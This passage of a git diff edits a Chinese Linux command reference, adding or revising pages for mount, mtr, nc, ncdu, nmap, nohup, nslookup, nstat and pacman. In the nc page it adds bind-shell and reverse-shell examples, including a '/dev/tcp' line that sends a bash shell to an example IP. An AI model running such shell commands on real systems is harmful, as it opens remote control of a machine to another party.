+213 0 TMDS 0x00000001 0x00000008
+
+Connectors: # 省略了好多好多
+id encoder status name size (mm) modes encoders
+197 196 connected HDMI-A-1 530x300 10 196
+ mode # 巴拉巴拉非常多的一大串
+211 210 connected DSI-1 184x114 1 210
+214 0 disconnected DP-1 0x0 0 213
+
+CRTCs: # 省略了好多好多****
+id fb pos size
+68 0 (0,0) (0x0)
+ 0 0 0 0 0 0 0 0 0 0 flags: ; type:
+88 0 (0,0) (0x0)
+ 0 0 0 0 0 0 0 0 0 0 flags: ; type:
+108 219 (0,0) (1200x1920)
+ 1200x1920 60 1200 1280 1284 1344 1920 1955 1956 1981 159400 flags: ; type:
+128 0 (0,0) (0x0)
+ 0 0 0 0 0 0 0 0 0 0 flags: ; type:
+
+Planes: # 省略了好多好多
+id crtc fb CRTC x,y x,y gamma size possible crtcs
+54 0 0 0,0 0,0 0 0x0000000f
+ formats: XR24 AR24 XB24 AB24 RG24 BG24 RG16 BG16 NV12 NV21 NV16 NV61 NV24 NV42 NV15 NV20 NV30 YVYU VYUY YUYV UYVY
+74 0 0 0,0 0,0 0 0x0000000f
+ formats: XR24 AR24 XB24 AB24 RG24 BG24 RG16 BG16 NV12 NV21 NV16 NV61 NV24 NV42 NV15 NV20 NV30 YVYU VYUY YUYV UYVY
+94 108 219 0,0 0,0 0 0x0000000f
+ formats: XR24 AR24 XB24 AB24 RG24 BG24 RG16 BG16 NV12 NV21 NV16 NV61 NV24 NV42 NV15 NV20 NV30 YVYU VYUY YUYV UYVY
+
+```
+
+------
+
+根据以上信息在 `MIPI-DSI` 显示设备上使用 `Rockchip` 显卡驱动测试
+
+```shell
+~# modetest -M rockchip -s 211@108:1200x1920 -v
+freq: 59.90Hz
+freq: 59.87Hz
+freq: 59.87Hz
+freq: 59.87Hz
+freq: 59.87Hz
+freq: 59.87Hz
+freq: 59.87Hz
+freq: 59.87Hz
+freq: 59.87Hz
+```
+
+在 `MIPI` 屏幕上将会看到闪烁的彩色块。
+
+------
+
+```shell
+~# modetest -M rockchip -s 211@108:1200x1920 -C
+setting mode 1200x1920-60Hz@XR24 on connectors 211, crtc 108
+starting cursor
+```
+
+在 `MIPI` 屏幕上将会看到静止的彩色块。
+
+
diff --git a/command/bmodinfo.md b/command/modinfo.md
similarity index 90%
rename from command/bmodinfo.md
rename to command/modinfo.md
index dd59ab7b999..ae0ab2e1ea5 100644
--- a/command/bmodinfo.md
+++ b/command/modinfo.md
@@ -1,16 +1,16 @@
-bmodinfo
+modinfo
===
显示给定模块的详细信息
## 补充说明
-**bmodinfo命令** 用于显示给定模块的详细信息。
+**modinfo命令** 用于显示给定模块的详细信息。
### 语法
```shell
-bmodinfo(选项)(参数)
+modinfo(选项)(参数)
```
### 选项
diff --git a/command/mount.md b/command/mount.md
index 43b8e93d80c..8e23f9a58a1 100644
--- a/command/mount.md
+++ b/command/mount.md
@@ -7,6 +7,8 @@ mount
**mount命令** Linux mount命令是经常会使用到的命令,它用于挂载Linux系统外的文件。
+如果通过webdav协议挂载网络磁盘,需要运行指令`apt install davfs2`安装必要的组件
+
### 语法
```shell
@@ -37,8 +39,7 @@ mount [-fnrsvw] [-t vfstype] [-o options] device dir
-o auto、-o noauto:打开/关闭自动挂上模式。
-o defaults:使用预设的选项 rw, suid, dev, exec, auto, nouser, and async.
-o dev、-o nodev-o exec、-o noexec允许执行档被执行。
--o suid、-o nosuid:
-允许执行档在 root 权限下执行。
+-o suid、-o nosuid:允许执行档在 root 权限下执行。
-o user、-o nouser:使用者可以执行 mount/umount 的动作。
-o remount:将一个已经挂下的档案系统重新用不同的方式挂上。例如原先是唯读的系统,现在用可读写的模式重新挂上。
-o ro:用唯读模式挂上。
@@ -46,27 +47,38 @@ mount [-fnrsvw] [-t vfstype] [-o options] device dir
-o loop=:使用 loop 模式用来将一个档案当成硬盘分割挂上系统。
```
-### 实例
+### 实例1
将 `/dev/hda1` 挂在 `/mnt` 之下。
```shell
-#mount /dev/hda1 /mnt
+mount /dev/hda1 /mnt
```
将 `/dev/hda1` 用唯读模式挂在 `/mnt` 之下。
```shell
-#mount -o ro /dev/hda1 /mnt
+mount -o ro /dev/hda1 /mnt
```
-将 `/tmp/image.iso` 这个光碟的 `image` 档使用 `loop` 模式挂在 `/mnt/cdrom` 之下。用这种方法可以将一般网络上可以找到的 `Linux` 光 碟 ISO 档在不烧录成光碟的情况下检视其内容。
+将 `/tmp/image.iso` 这个光碟的 `image` 档使用 `loop` 模式挂在 `/mnt/cdrom` 之下。用这种方法可以将一般网络上可以找到的 `Linux` 光碟 ISO 档在不烧录成光碟的情况下检视其内容。
```shell
-#mount -o loop /tmp/image.iso /mnt/cdrom
+mount -o loop /tmp/image.iso /mnt/cdrom
```
+### 实例2
+通过 webdav 协议挂载网络硬盘
+将`https://your.webdav.link.here`的网络存储以网络磁盘的形式挂载到系统路径`/path/to/mount`
+```shell
+mount -t davfs https://your.webdav.link.here /path/to/mount
+```
+### 实例3
+挂载 Android 系统 system 分区到 `/dev/loopX`,在知道文件格式的情况下,可以用 -t 来指定文件格式,比如 ext4。
+```shell
+mount -t ext4 /dev/loopX /mnt/system
+```
diff --git a/command/mtr.md b/command/mtr.md
new file mode 100644
index 00000000000..fdcd34ea0f7
--- /dev/null
+++ b/command/mtr.md
@@ -0,0 +1,93 @@
+mtr
+===
+
+`mtr` 结合了 `traceroute` 和 `ping` 程序的功能,是一款简单的网络诊断工具
+
+## 补充说明
+
+用于调查 mtr 运行的主机与用户指定的目标主机之间的网络连接。在确定机器之间每个网络跳转的地址后,它会向每台机器发送一系列 ICMP ECHO 请求,以确定与每台机器的链路质量。在此过程中,它会打印每台机器的运行统计数据。
+
+Debian 发行版已经内置了 `mtr`,其它发行版可自行安装,支持主流操作系统。
+可以访问其[官网](https://www.bitwizard.nl/mtr)详细了解。
+
+### 语法
+
+```shell
+mtr (参数) (目标ip/域名)
+```
+
+### 参数
+
+| 参数 | 解释
+---- | ----
+`-r` | 以报告模式显示
+`-c` | 发送数据包大小
+`-n` | 不用主机名解释
+`-s` | 指定ping数据包的大小
+`--report` | 不动态显示结果
+
+### 实例
+
+使用 `-r` 参数显示报告:
+
+```shell
+[root@localhost ~]# mtr -r github.com
+
+HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev
+ 1.|-- 161.129.42.1 0.0% 10 0.5 0.5 0.4 0.6 0.1
+ 2.|-- 10.12.52.0 0.0% 10 0.9 1.2 0.8 3.4 0.8
+ 3.|-- unn-138-199-1-182.cdn77.c 0.0% 10 0.9 0.8 0.8 0.9 0.1
+ 4.|-- 63.217.254.209 70.0% 10 1.3 1.3 1.2 1.3 0.0
+ 5.|-- 63-216-176-146.static.pcc 0.0% 10 4.1 3.6 1.1 12.9 3.5
+ 6.|-- ae27-0.icr02.hkg20.ntwk.m 0.0% 10 2.8 5.5 1.7 24.0 6.9
+ 7.|-- be-102-0.ibr01.hkg20.ntwk 20.0% 10 36.4 36.5 36.3 36.7 0.1
+ 8.|-- be-10-0.ibr01.sg3.ntwk.ms 50.0% 10 36.4 37.3 36.3 39.5 1.4
+ 9.|-- ae100-0.icr01.sg3.ntwk.ms 0.0% 10 35.9 38.8 35.9 53.3 5.4
+ 10.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0
+ 11.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0
+ 12.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0
+ 13.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0
+ 14.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0
+ 15.|-- 20.205.243.166 0.0% 10 35.7 35.8 35.7 35.9 0.0
+```
+
+使用 `-c` 参数设置每秒发送数据包数量:
+
+```shell
+[root@localhost ~]# mtr -r -c 30 github.com
+
+HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev
+ 1.|-- 161.129.42.1 0.0% 30 0.5 0.4 0.3 1.2 0.2
+ 2.|-- 10.12.52.0 0.0% 30 0.8 1.2 0.8 9.2 1.6
+ 3.|-- unn-138-199-1-182.cdn77.c 0.0% 30 0.9 0.9 0.8 3.0 0.4
+ 4.|-- 63.217.254.209 40.0% 30 1.3 1.3 1.1 2.4 0.3
+ 5.|-- 63-216-176-146.static.pcc 0.0% 30 3.0 3.1 1.0 13.5 3.4
+ 6.|-- ae27-0.icr02.hkg20.ntwk.m 0.0% 30 1.7 2.2 1.6 5.7 0.9
+ 7.|-- be-102-0.ibr01.hkg20.ntwk 6.7% 30 36.4 36.6 36.3 38.9 0.5
+ 8.|-- be-10-0.ibr01.sg3.ntwk.ms 50.0% 30 36.7 47.1 36.2 102.7 21.0
+ 9.|-- ae100-0.icr01.sg3.ntwk.ms 0.0% 30 36.1 41.4 35.9 78.4 8.8
+ 10.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0
+ 11.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0
+ 12.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0
+ 13.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0
+ 14.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0
+ 15.|-- 20.205.243.166 0.0% 30 35.7 35.8 35.6 35.8 0.0
+```
+
+使用 `-s` 参数指定 `ping` 数据包的大小:
+
+```shell
+[root@localhost ~]# mtr -r -c 30 -s 1024 github.com
+
+HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev
+ 1.|-- 161.129.42.1 0.0% 30 0.6 0.6 0.3 4.3 0.7
+ 2.|-- 10.12.52.0 0.0% 30 1.0 1.1 0.8 7.0 1.1
+ 3.|-- unn-138-199-1-182.cdn77.c 0.0% 30 0.9 0.9 0.8 1.1 0.1
+ 4.|-- 63.217.254.209 66.7% 30 1.3 1.3 1.2 1.5 0.1
+ 5.|-- 63-216-176-146.static.pcc 0.0% 30 3.1 3.3 1.0 18.4 4.5
+ 6.|-- ae27-0.icr02.hkg20.ntwk.m 0.0% 30 2.2 3.7 1.7 12.2 2.5
+ 7.|-- be-102-0.ibr01.hkg20.ntwk 6.7% 30 36.5 36.6 36.4 38.9 0.5
+ 8.|-- be-10-0.ibr01.sg3.ntwk.ms 33.3% 30 38.3 36.9 36.3 39.1 0.7
+ 9.|-- ae100-0.icr01.sg3.ntwk.ms 0.0% 30 36.1 38.4 35.9 66.6 5.9
+ 10.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0
+```
diff --git a/command/named-checkzone.md b/command/named-checkzone.md
index ee0e9a53df8..fae559de49d 100644
--- a/command/named-checkzone.md
+++ b/command/named-checkzone.md
@@ -1,7 +1,7 @@
named-checkzone
===
-使用named-checkzone命令可以进行区域文件有效性检查和转换,必须指定区域名称和区域文件名称
+使用 named-checkzone 可验证并转换区域文件,需指定区域名和文件名。
## 补充说明
diff --git a/command/nc.md b/command/nc.md
index 811164168e7..6d1caeffe3f 100644
--- a/command/nc.md
+++ b/command/nc.md
@@ -1,11 +1,12 @@
nc
===
-用于设置路由器,是网络工具中的瑞士军刀。
+nc是网络工具中的瑞士军刀
## 补充说明
-**nc命令** 全称**netcat**,用于设置路由器。它能通过 TCP 和 UDP 在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。使用 netcat 命令所能完成的事情令人惊讶。
+**nc命令** 全称**netcat**,用于TCP、UDP或unix域套接字(uds)的数据流操作,它可以打开TCP连接,发送UDP数据包,监听任意TCP
+和UDP端口,同时也可用作做端口扫描,支持IPv4和IPv6,与Telnet的不同在于nc可以编写脚本。
### 语法
@@ -17,6 +18,10 @@ nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文
### 选项
```shell
+-4 只使用IPV4
+-6 只使用IPV6
+-c 使用tls连接或者监听
+-D 启用socket调试开关
-g <网关> # 设置路由器跃程通信网关,最多可设置8个。
-G<指向器数目> # 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
@@ -35,7 +40,7 @@ nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文
### 实例
-TCP端口扫描
+**TCP端口扫描**
```shell
[root@localhost ~]# nc -v -z -w2 192.168.0.3 1-100
@@ -46,13 +51,13 @@ TCP端口扫描
```
扫描192.168.0.3 的端口 范围是 1-100
-扫描UDP端口
+**扫描UDP端口**
```shell
-[root@localhost ~]# nc -u -z -w2 192.168.0.1 1-1000 # 扫描192.168.0.3 的端口 范围是 1-1000
+[root@localhost ~]# nc -u -z -w2 192.168.0.3 1-1000 # 扫描192.168.0.3 的端口 范围是 1-1000
```
-扫描指定端口
+**扫描指定端口**
```shell
[root@localhost ~]# nc -nvv 192.168.0.1 80 # 扫描 80端口
@@ -68,5 +73,51 @@ nc -vz acme-v02.api.letsencrypt.org 443 -w2
# Ncat: Connected to 23.77.214.183:443.
# Ncat: 0 bytes sent, 0 bytes received in 0.07 seconds.
```
+**文件传输**
+```shell
+# 接收方提前设置监听端口与要接收的文件名(文件名可自定义):
+nc -lp 8888 > node.tar.gz
+
+# 传输方发文件:
+nc -nv 192.168.75.121 8888 < node_exporter-1.3.1.linux-amd64.tar.gz
+# ⚠️ 注意:192.168.75.121是接收方的ip地址。
+```
+
+```shell
+# 如果希望文件传输结束后自动退出,可以使用下面的命令:
+nc -lp 8888 > node.tar.gz
+nc -nv 192.168.75.121 8888 -i 1 < node_exporter-1.3.1.linux-amd64.tar.gz
+# ⚠️ 注意:-i 表示闲置超时时间
+```
+
+**远程控制**
+
+```shell
+# 正向控制,被控端主动设置监听端口及bash环境,控制端连接,如果有防火墙,需开放端口,否则会被拦截。
+# 被控制端执行下面的命令:
+nc -lvnp 8888 -c bash
+# 控制端执行下面的命令:
+nc 192.168.75.121 8888
+```
+
+```shell
+# 反向控制,控制端设置监听端口,被控端主动连接控制端的ip及端口,并提供bash环境。
+# 控制端执行下面的命令:
+nc -lvnp 8888
+# 被控制端执行下面的命令:
+nc 192.168.75.121 8888 -c bash
+```
+
+**反弹shell**
+
+```shell
+# 控制端执行下面的命令:
+nc -lvnp 8888
+```
+
+```
+# 被控端执行下面的命令:
+bash -i &> /dev/tcp/192.168.75.121/8888 0>&1
+```
diff --git a/command/ncdu.md b/command/ncdu.md
new file mode 100644
index 00000000000..ee1bfc22680
--- /dev/null
+++ b/command/ncdu.md
@@ -0,0 +1,126 @@
+ncdu
+===
+
+磁盘使用情况的交互式查看工具,可视为 du 的增强版本
+
+## 补充说明
+
+**ncdu**(**NC**urses **D**isk **U**sage)是 Unix 系统上一款基于 ncurses 的磁盘占用分析工具,可视为传统 `du` 命令的增强版本。
+与 `du` 输出静态文本不同,**ncdu 提供交互式 TUI 界面**,可通过方向键浏览目录树,并支持排序、查看文件信息、直接删除文件等功能。
+它非常适合用于快速定位大文件、分析磁盘空间占用以及磁盘清理。1.09+ 版本支持将扫描结果导出为 JSON。
+
+官网
+
+* 官方网站(作者主页):[https://dev.yorhel.nl/ncdu](https://dev.yorhel.nl/ncdu)
+* Wikipedia:[https://en.wikipedia.org/wiki/Ncdu](https://en.wikipedia.org/wiki/Ncdu)
+
+### ncdu 安装
+
+在大多数的 Linux 发行版中你同样不会看到 **ncdu** 被默认预装,但作为最常用的磁盘分析工具之一,它几乎在所有主流发行版的官方仓库中都可以直接安装。
+
+不同系统的安装方式如下:
+
+#### **Debian/Ubuntu**
+
+```shell
+sudo apt install ncdu
+```
+
+#### **CentOS / Rocky / AlmaLinux**
+
+```shell
+sudo yum install epel-release
+sudo yum install ncdu
+```
+
+#### **Fedora**
+
+```shell
+sudo dnf install ncdu
+```
+
+#### **Arch Linux**
+
+```shell
+sudo pacman -S ncdu
+```
+
+#### **macOS(Homebrew)**
+
+```shell
+brew install ncdu
+```
+
+#### **FreeBSD**
+
+```shell
+pkg install ncdu
+```
+
+### 语法
+
+```shell
+ncdu [选项] [目录]
+```
+
+### 选项
+
+```shell
+-h, --help 显示帮助信息。
+-v, --version 显示版本号。
+-x 限制扫描在单一文件系统中(不跨挂载点)。
+-q 减少屏幕刷新次数(适合远程 SSH)。
+-o FILE 将扫描结果导出为 FILE(JSON 格式,需 1.09+)。
+-f FILE 从 JSON 文件加载扫描结果(需 1.09+)。
+--exclude PATTERN 排除符合模式的文件或目录。
+--exclude-from FILE 从文件读取排除模式。
+--follow-symlinks 跟随符号链接。
+--confirm-deletion 删除文件时要求确认。
+```
+
+### 交互说明
+
+↑, ↓, →, ← 代表键盘方向键
+
+| 按键 | 功能 |
+| ------------- | ------------------------------- |
+| ↑ / k | 上移光标 |
+| / j | 下移光标 |
+| → / Enter / l | 打开当前目录 |
+| ← / h | 返回父目录 |
+| n | 按名称排序(再次按切换升/降序) |
+| s | 按大小排序(再次按切换升/降序) |
+| d | 删除选中项 |
+| g | 显示百分比/图表 |
+| t | 排序时切换“目录优先” |
+| c | 显示或隐藏子项数量 |
+| b | 在当前目录打开 shell |
+| i | 查看选中文件/目录的详细信息 |
+| r | 刷新/重新扫描当前目录 |
+| q | 退出 ncdu |
+
+### 实例
+
+#### 扫描当前目录
+
+```shell
+ncdu
+```
+
+#### 扫描指定目录(示例:/var/log)
+
+```shell
+ncdu /var/log
+```
+
+#### 导出扫描结果为 JSON(1.09+)
+
+```shell
+ncdu -o result.json /
+```
+
+#### 从 JSON 文件加载结果
+
+```shell
+ncdu -f result.json
+```
diff --git a/command/nethogs.md b/command/nethogs.md
index 0fcc6f15f99..d1f97ffe52e 100644
--- a/command/nethogs.md
+++ b/command/nethogs.md
@@ -49,7 +49,7 @@ usage: nethogs [-V] [-h] [-b] [-d seconds] [-v mode] [-c count] [-t] [-p] [-s] [
```shell
-d : 刷新间隔
-h : 帮助
--p : promiscious 模式
+-p : promiscuous 模式
-t : trace模式
-V : 版本
```
diff --git a/command/nice.md b/command/nice.md
index 36ffd54c6dd..a5c3640fc35 100644
--- a/command/nice.md
+++ b/command/nice.md
@@ -17,7 +17,7 @@ nice [选项] [命令 [参数]...]
### 选项
```shell
--n:指定nice值(整数,-20(最低)~19(最高))。
+-n:指定nice值(整数,-20(最高)~19(最低))。
```
### 参数
diff --git a/command/nmap.md b/command/nmap.md
index 8063525d0eb..62f5802de2b 100644
--- a/command/nmap.md
+++ b/command/nmap.md
@@ -54,20 +54,29 @@ ip地址:指定待扫描报文中的TCP地址。
yum install nmap
```
- **使用nmap扫描www.jsdig.com的开放端口**
+ **使用nmap扫描scanme.nmap.org的开放端口**
```shell
-[root@localhost ~]# nmap www.jsdig.com
-
-Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-12-28 00:06 CST
-Interesting ports on 100-42-212-8.static.webnx.com (100.42.212.8):
-Not shown: 1678 filtered ports
-PORT STATE service
-22/tcp open ssh
-80/tcp open http
-
-Nmap finished: 1 IP address (1 host up) scanned in 45.870 seconds
+[root@localhost ~]# nmap scanme.nmap.org
+
+Starting Nmap 7.92 ( https://nmap.org ) at 2025-08-06 15:22 CST
+Nmap scan report for scanme.nmap.org (45.33.32.156)
+Host is up (0.37s latency).
+Not shown: 991 closed tcp ports (reset)
+PORT STATE SERVICE
+22/tcp open ssh
+80/tcp open http
+135/tcp filtered msrpc
+139/tcp filtered netbios-ssn
+445/tcp filtered microsoft-ds
+593/tcp filtered http-rpc-epmap
+4444/tcp filtered krb524
+9929/tcp open nping-echo
+31337/tcp open Elite
+
+Nmap done: 1 IP address (1 host up) scanned in 60.36 seconds
```
+
diff --git a/command/nohup.md b/command/nohup.md
index 6a60c8f9a39..e0ee09d8efb 100644
--- a/command/nohup.md
+++ b/command/nohup.md
@@ -9,23 +9,24 @@ nohup
无论是否将 nohup 命令的输出重定向到终端,输出都将附加到当前目录的 nohup.out 文件中。如果当前目录的 nohup.out 文件不可写,输出重定向到`$HOME/nohup.out`文件中。如果没有文件能创建或打开以用于追加,那么 command 参数指定的命令不可调用。如果标准错误是一个终端,那么把指定的命令写给标准错误的所有输出作为标准输出重定向到相同的文件描述符。
-### 语法
+### 语法
+```shell
nohup(选项)(参数)
+```
-### 选项
+### 选项
```shell
--help:在线帮助;
--version:显示版本信息。
```
-### 参数
+### 参数
程序及选项:要运行的程序及选项。
-### 实例
-
+### 实例
使用nohup命令提交作业,如果使用nohup命令提交作业,那么在缺省情况下该作业的所有输出都被重定向到一个名为nohup.out的文件中,除非另外指定了输出文件:
@@ -47,4 +48,38 @@ nohup wget site.com/file.zip
nohup ping -c 10 baidu.com
```
+最简单的后台运行
+
+```shell
+nohup command &
+```
+
+输出默认重定向到当前目录下 nohup.out 文件
+
+```shell
+nohup python main.py &
+```
+
+自定义输出文件(标准输出和错误输出合并到 main.log)
+
+```shell
+nohup python main.py >> main.log 2>&1 &
+```
+
+与上一个例子相同作用的简写方法
+
+```shell
+nohup python main.py &> main.log &
+```
+
+不记录输出信息
+
+```shell
+nohup python main.py &> /dev/null &
+```
+
+不记录输出信息并将程序的进程号写入 pidfile.txt 文件中,方便后续杀死进程
+```shell
+nohup python main.py &> /dev/null & echo $! > pidfile.txt
+```
\ No newline at end of file
diff --git a/command/nslookup.md b/command/nslookup.md
index f8d0445efcb..5eff691a82b 100644
--- a/command/nslookup.md
+++ b/command/nslookup.md
@@ -7,14 +7,16 @@ nslookup
**nslookup命令** 是常用域名查询工具,就是查DNS信息用的命令。
-nslookup4有两种工作模式,即“交互模式”和“非交互模式”。在“交互模式”下,用户可以向域名服务器查询各类主机、域名的信息,或者输出域名中的主机列表。而在“非交互模式”下,用户可以针对一个主机或域名仅仅获取特定的名称或所需信息。
+nslookup有两种工作模式,即“交互模式”和“非交互模式”。在“交互模式”下,用户可以向域名服务器查询各类主机、域名的信息,或者输出域名中的主机列表。
+
+在“非交互模式”下,用户可以针对一个主机或域名仅仅获取特定的名称或所需信息,此时也可以指定查询的DNS服务器。
进入交互模式,直接输入nslookup命令,不加任何参数,则直接进入交互模式,此时nslookup会连接到默认的域名服务器(即`/etc/resolv.conf`的第一个dns地址)。或者输入`nslookup -nameserver/ip`。进入非交互模式,就直接输入`nslookup 域名`就可以了。
### 语法
```shell
-nslookup(选项)(参数)
+nslookup(选项)(参数)(DNS服务器)
```
### 选项
@@ -27,6 +29,9 @@ nslookup(选项)(参数)
域名:指定要查询域名。
+### DNS服务器
+不填的话采用默认域名服务器(即`/etc/resolv.conf`的第一个dns地址),填写DNS服务器IP的话,nslookup会向该域名服务器查询域名。
+
### 实例
```shell
@@ -38,6 +43,15 @@ Non-authoritative answer:
www.jsdig.com canonical name = host.1.jsdig.com.
Name: host.1.jsdig.com
Address: 100.42.212.8
+
+[root@localhost ~]# nslookup www.sustech.edu.cn 8.8.8.8
+Server: 8.8.8.8
+Address: 8.8.8.8#53
+
+Non-authoritative answer:
+www.sustech.edu.cn canonical name = www.sustech.edu.cn.w.cdngslb.com.
+Name: www.sustech.edu.cn.w.cdngslb.com
+Address: 113.96.179.222
```
diff --git a/command/nstat.md b/command/nstat.md
new file mode 100644
index 00000000000..45d0c42cd7b
--- /dev/null
+++ b/command/nstat.md
@@ -0,0 +1,137 @@
+nstat
+===
+
+nstat 是一个简单的监视内核的 SNMP 计数器和网络接口状态的实用工具。
+
+## 补充说明
+
+大多数命令行用户都熟悉 netstat ,这是 net-tools 软件包中的命令。目前新版本中 net-tools 软件包几乎完全被弃用,取而代之的是 ip 命令套件,而 nstat 属于新软件包。
+
+### 语法
+
+```s
+nstat [OPTION] [ PATTERN [ PATTERN ] ]
+```
+
+### 选项
+
+```shell
+-h:显示帮助信息;
+-V:显示指令版本信息;
+-z:转储零计数器。默认情况下不显示它们;
+-r:清零历史统计;
+-n:不显示任何内容,仅更新历史;
+-a:显示计数器的绝对值;
+-d:以守护进程模式运行并收集统计数据
+-s:不更新历史;
+-j:JSON格式输出。
+```
+
+### 实例
+
+直接输入以查询网络接口状态,以下展示了 IPv4,IPv6,TCP,UDP,ICMP 的统计数据:
+
+```shell
+nstat
+#kernel
+IpInReceives 769152 0.0
+IpInAddrErrors 1 0.0
+IpInDelivers 769146 0.0
+IpOutRequests 764236 0.0
+IpOutDiscards 20 0.0
+IpOutNoRoutes 1 0.0
+IcmpInMsgs 92 0.0
+IcmpInDestUnreachs 92 0.0
+IcmpOutMsgs 94 0.0
+IcmpOutDestUnreachs 94 0.0
+IcmpMsgInType3 92 0.0
+IcmpMsgOutType3 94 0.0
+TcpActiveOpens 1786 0.0
+TcpPassiveOpens 142 0.0
+TcpAttemptFails 11 0.0
+TcpEstabResets 72 0.0
+TcpInSegs 756827 0.0
+TcpOutSegs 802908 0.0
+TcpRetransSegs 767 0.0
+TcpOutRsts 702 0.0
+UdpInDatagrams 12075 0.0
+UdpNoPorts 82 0.0
+UdpOutDatagrams 7045 0.0
+UdpIgnoredMulti 70 0.0
+Ip6InReceives 5005 0.0
+Ip6InDelivers 5005 0.0
+Ip6OutRequests 131 0.0
+Ip6OutDiscards 2 0.0
+Ip6OutNoRoutes 959 0.0
+Ip6InMcastPkts 4999 0.0
+Ip6OutMcastPkts 125 0.0
+Ip6InOctets 797462 0.0
+Ip6OutOctets 16421 0.0
+Ip6InMcastOctets 797030 0.0
+Ip6OutMcastOctets 15949 0.0
+Ip6InNoECTPkts 5005 0.0
+Icmp6InMsgs 3 0.0
+Icmp6OutMsgs 51 0.0
+Icmp6InNeighborAdvertisements 1 0.0
+Icmp6InMLDv2Reports 2 0.0
+Icmp6OutRouterSolicits 11 0.0
+Icmp6OutNeighborSolicits 4 0.0
+Icmp6OutMLDv2Reports 36 0.0
+Icmp6InType136 1 0.0
+Icmp6InType143 2 0.0
+Icmp6OutType133 11 0.0
+Icmp6OutType135 4 0.0
+Icmp6OutType143 36 0.0
+Udp6InDatagrams 4998 0.0
+Udp6OutDatagrams 76 0.0
+TcpExtTW 385 0.0
+TcpExtPAWSEstab 1 0.0
+TcpExtDelayedACKs 37133 0.0
+TcpExtDelayedACKLocked 57 0.0
+TcpExtDelayedACKLost 456 0.0
+TcpExtTCPHPHits 417717 0.0
+TcpExtTCPPureAcks 34186 0.0
+TcpExtTCPHPAcks 222980 0.0
+TcpExtTCPSACKReorder 1 0.0
+TcpExtTCPLossUndo 194 0.0
+TcpExtTCPLostRetransmit 169 0.0
+TcpExtTCPSlowStartRetrans 1 0.0
+TcpExtTCPTimeouts 494 0.0
+TcpExtTCPLossProbes 309 0.0
+TcpExtTCPBacklogCoalesce 571 0.0
+TcpExtTCPDSACKOldSent 281 0.0
+TcpExtTCPDSACKRecv 281 0.0
+TcpExtTCPAbortOnData 13 0.0
+TcpExtTCPAbortOnClose 30 0.0
+TcpExtTCPDSACKIgnoredOld 1 0.0
+TcpExtTCPDSACKIgnoredNoUndo 258 0.0
+TcpExtTCPSackShiftFallback 1 0.0
+TcpExtTCPRcvCoalesce 18314 0.0
+TcpExtTCPFastOpenActiveFail 2 0.0
+TcpExtTCPSpuriousRtxHostQueues 11 0.0
+TcpExtTCPAutoCorking 1684 0.0
+TcpExtTCPFromZeroWindowAdv 2 0.0
+TcpExtTCPToZeroWindowAdv 2 0.0
+TcpExtTCPSynRetrans 479 0.0
+TcpExtTCPOrigDataSent 359814 0.0
+TcpExtTCPHystartTrainDetect 13 0.0
+TcpExtTCPHystartTrainCwnd 550 0.0
+TcpExtTCPKeepAlive 18 0.0
+TcpExtTCPDelivered 361695 0.0
+TcpExtTCPZeroWindowDrop 1 0.0
+TcpExtTcpTimeoutRehash 494 0.0
+TcpExtTcpDuplicateDataRehash 2 0.0
+TcpExtTCPDSACKRecvSegs 281 0.0
+IpExtInNoRoutes 3 0.0
+IpExtInMcastPkts 5392 0.0
+IpExtOutMcastPkts 221 0.0
+IpExtInBcastPkts 70 0.0
+IpExtOutBcastPkts 10 0.0
+IpExtInOctets 2100280442 0.0
+IpExtOutOctets 226760631 0.0
+IpExtInMcastOctets 746608 0.0
+IpExtOutMcastOctets 27565 0.0
+IpExtInBcastOctets 5674 0.0
+IpExtOutBcastOctets 778 0.0
+IpExtInNoECTPkts 1885871 0.0
+```
\ No newline at end of file
diff --git a/command/ntpdate.md b/command/ntpdate.md
index cfacf8b8ad7..c44638bd08a 100644
--- a/command/ntpdate.md
+++ b/command/ntpdate.md
@@ -37,5 +37,6 @@ ntpdate [ -b] [ -d] [ -s] [ -u] [ -aKeyid] [ -eAuthenticationDelay] [ -kKeyFile]
-s # 指定日志操作 syslog 设施的使用,而不是使用标准输出。 当运行 ntpdate 命令和 cron命令时,它是很有用的。
-tTimeOut # 指定等待响应的时间。给定 TimeOut 的值四舍五入为 0.2 秒的倍数。缺省值是 1 秒。
-u # 指定使用无特权的端口发送数据包。 当在一个对特权端口的输入流量进行阻拦的防火墙后是很有益的, 并希望在防火墙之外和主机同步。防火墙是一个系统或者计算机,它控制从外网对专用网的访问。
+-q # 仅供查询,不设置时间。
```
diff --git a/command/pacman.md b/command/pacman.md
new file mode 100644
index 00000000000..60ce0307a04
--- /dev/null
+++ b/command/pacman.md
@@ -0,0 +1,55 @@
+pacman
+===
+
+Arch Linux 系统及其衍生系统中默认使用的包管理器
+
+## 安装
+
+在安装 Arch Linux 时,会需要安装 base 包组,其中包括 pacman 包,具体 Arch Linux 安装流程请参见 [Arch Wiki(CN)](https://wiki.archlinuxcn.org/wiki/%E5%AE%89%E8%A3%85%E6%8C%87%E5%8D%97)
+
+## 实例
+
+### 安装软件包
+官方软件包
+```bash
+pacman -S p7zip
+```
+
+非官方软件包(用户制作)
+```bash
+yay -S package_name1 package_name2 ...
+```
+
+### 查询软件包
+
+```bash
+pacman -Ss package_name1 package_name2 ...
+```
+
+### 列出所有软件包
+
+```bash
+pacman -Q
+```
+
+### 删除某个软件包
+
+```bash
+pacman -R p7zip
+```
+
+或者是同时删除他的依赖
+
+```bash
+pacman -Rsc p7zip
+```
+
